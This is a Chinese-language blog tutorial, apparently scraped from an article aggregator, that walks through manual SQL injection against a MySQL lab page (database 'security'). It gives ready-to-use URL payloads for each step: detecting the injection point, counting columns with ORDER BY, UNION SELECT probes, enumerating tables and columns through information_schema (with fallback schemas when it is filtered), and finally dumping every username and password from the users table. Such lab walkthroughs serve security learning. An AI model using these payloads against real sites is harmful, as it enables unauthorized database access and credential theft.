当前位置: 首页 > news >正文

SQL手工注入

目录

1.判断是否存在sql注入点

1.1我们在地址栏中输入?id=1'

1.2我们在地址栏中输入?id'--+

2.联合查询

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

2.2爆出显示位,就是看看表格里面哪一列是在页面显示的

2.3获取当前数据名和版本号

2.4爆表

2.5爆字段名

2.6爆账号密码


1.判断是否存在sql注入点

1.1我们在地址栏中输入?id=1'

1.2我们在地址栏中输入?id'--+

根据结果可判断出是字符型注入,该页面存在回显,所以我们可以使用联合查询

1.?id=1 and 1=1 和?id=1 and 1=2进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。

2.?id=1' and 1=1--+和?id=1' and 1=2--+进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。

2.联合查询

注意:联合查询两表之间列数必须相同

2.1首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 4 --+

?id=1'order by 3 --+

根据结果可判断出此表有3列

2.2爆出显示位,就是看看表格里面哪一列是在页面显示的

?id=-1'union select 1,2,3--+

注意:union查询时,如果左右两边都为真,则返回前者查询的结果,所以要让后面我们自己构造的查询语句回显的话,前面id必须填写一个查询不到的数,这里我填的是-1

可以看到查询结果是在2和3的位置回显的,则可以将2和3替换为我们的查询语句。

2.3获取当前数据名和版本号

?id=-1'union select 1,database(),version()--+

通过结果知道当前表所处的数据库是security,版本是5.7.26

2.4爆表

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。

在注入时,information_schema库的作用就是获取 table_schema table_name, column_name .

这些数据库内的信息。如果information_schema库被过滤掉,还可以尝试使用下述库来代替

sys.schema_auto_increment_columns 

sys.schema_table_statistics_with_buffer

mysql.innodb_table_stats

mysql.innodb_table_index

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

根据结果可知当前security库下有四张表,并且users表最有可能存放用户信息

2.5爆字段名

我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

此语句是查询information_schema数据库下的columns表里users的列名

注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

通过上述操作可以得到两个敏感字段就是username和password,最有可能存放用户的账号密码

2.6爆账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

这样我们就爆出各个用户的账号密码了,本次手工注入到此结束。

http://www.lryc.cn/news/419130.html

相关文章:

  • 【SQL】大的国家
  • 8月5日学习笔记 glibc安装与安全用户角色权限
  • DrissionPage 一个替代selenium的pip --- 一个可以接管正在运行的chrome包
  • 爬虫入门--了解相关工具
  • django项目中通用的分页组件
  • 想实现ubuntu搭建sqli-labs靶场
  • tp8 按日期分组查出数据
  • 单例模式(懒汉模式,饿汉模式)
  • 【Qt】Item Widgets 多元素控件
  • sharded_inference_engine:MLXDynamicShardInferenceEngine;step
  • JAVA开发学习-day21
  • Python的安装环境以及应用
  • TabLayout使用以及自定义tab标签
  • 第二十节、有限状态机和抽象类多态
  • SQL注入实例(sqli-labs/less-23)
  • 3.Redis数据类型(二)
  • JavaWeb系列十一: Web 开发会话技术Session
  • k8s中yaml文件的编写
  • 打卡第37天------动态规划
  • openfeign本地试用
  • 数据库|SQLServer数据库:查询函数(SUM、COUNT、MAX、MIN、AVG)的使用
  • 简单Qt贪吃蛇项目
  • 画菱形(曼哈顿距离)
  • CSP初赛知识点讲解(六)
  • linux rocky 9.2系统安装mysql-wsrep-8.4.2-26.20-linux-x86_64.tar.gz二进制包
  • QT实现上传服务器功能
  • 元岳食堂采购供应链系统-智慧食堂数据化解决方案
  • 基于Java+SpringBoot+Vue的影城管理系统
  • 自定义starter
  • Docker 入门全攻略:安装、操作与常用命令指南